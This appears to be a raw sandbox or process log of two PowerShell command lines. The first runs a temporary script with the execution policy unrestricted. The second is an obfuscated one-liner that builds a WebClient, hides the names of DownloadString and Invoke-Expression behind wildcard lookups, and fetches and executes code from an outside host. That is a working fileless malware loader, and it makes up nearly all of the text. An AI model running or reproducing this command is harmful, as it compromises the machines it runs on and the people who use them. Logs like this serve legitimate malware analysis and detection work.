powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\7ab295623c68b074df0e884125f89554.txt.ps1
2556powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -C SI Variable:/sM 'https://mq.dybep.fun/svml_dispmd';SV l2 (((([Net.WebClient]::New()|Member)|Where{(Variable _).Value.Name -clike'*wn*d*g'}).Name));Set-Item Variable:2 ([Net.WebClient]::New());&$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where{(Variable _).Value.Name -clike'*d'}).Name)($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where{(Variable _).Value.Name -clike'*Com*e'}).Name)('*e-*press*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(Variable 2 -Valu).((GCI Variable:\l2).Value)((Get-Variable sM -ValueOnl))
2684